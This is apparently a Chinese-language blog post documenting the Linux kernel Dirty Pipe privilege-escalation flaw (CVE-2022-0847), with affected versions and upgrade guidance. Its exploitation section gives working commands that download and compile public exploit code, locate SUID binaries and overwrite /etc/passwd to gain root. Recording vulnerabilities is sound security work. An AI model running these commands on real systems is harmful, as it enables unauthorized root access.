前言:
划水一波,哈哈,以后復現漏洞不再直接傻瓜無腦的走流程了,首先碼字寫加構思比較麻煩且寫的不多還效率不高,現在就是當做見到了一個漏洞,在此記錄一下這個漏洞,包括其來源,簡單的描述,適用范圍,以及其具體化的利用方式(這個不會水的,~-~),最后,再加上其簡易的修復方式。與此同時,漏洞復現這一分類欄也將改變為漏洞記錄一欄。好,ok啦。希望通過這種精簡方式,可以減輕壓力!以及多多產出文章!
描述:
CVE-2022-0847-DirtyPipe-Exploit 存在於 Linux內核 5.8 及之后版本中的本地提權漏洞。攻擊者通過利用此漏洞,可覆蓋重寫任意可讀文件(甚至是只讀文件)中的數據,從而可將普通權限的用戶提升到root權限。CVE-2022-0847 的漏洞原理類似於 CVE-2016-5195 臟牛漏洞(Dirty Cow),但它更容易被利用,漏洞作者將此漏洞命名為Dirty Pipe。
范圍:
Linux Kernel >= 5.8
Linux Kernel < 5.16.11 / 5.15.25 / 5.10.102
可使用uname -a查詢linux系統內核
利用:
方法一:利用suid權限執行root權限
mkdir dirtypipez
cd dirtypipez
wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dirtypipez
這個 POC 需要事先找到一個具有 SUID 權限的可執行文件,然后利用這個文件進行提權
find / -perm -u=s -type f 2>/dev/null
直接 ./dirtypipez 跟上具有 SUID 權限的文件即可提權
比如:./dirtypipez /usr/bin/sudo
方法二:直接修改/etc/passwd文件,進入root用戶。
git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh
參考:https://blog.csdn.net/weixin_45996361/article/details/123379361
https://www.cnblogs.com/andyhf/p/15984045.html
修復:
更新升級 Linux 內核到以下安全版本:
Linux 內核 >= 5.16.11
Linux 內核 >= 5.15.25
Linux 內核 >= 5.10.102